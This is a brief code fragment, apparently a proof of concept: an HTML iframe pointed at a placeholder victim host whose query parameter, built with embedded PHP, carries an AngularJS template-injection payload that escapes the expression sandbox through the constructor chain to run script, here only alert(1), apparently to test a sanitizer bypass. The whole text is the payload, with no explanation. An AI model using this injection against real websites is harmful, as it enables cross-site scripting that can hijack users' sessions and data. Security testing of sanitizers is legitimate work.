<iframe src='http://victim.example.com/repo/sanitizers/dompurify/angular.php?inj=<?php
$payload = <<<'PAYLOAD'
{{''.constructor.constructor('alert(1)')()}}
PAYLOAD;
echo urlencode($payload);
?>'></iframe>
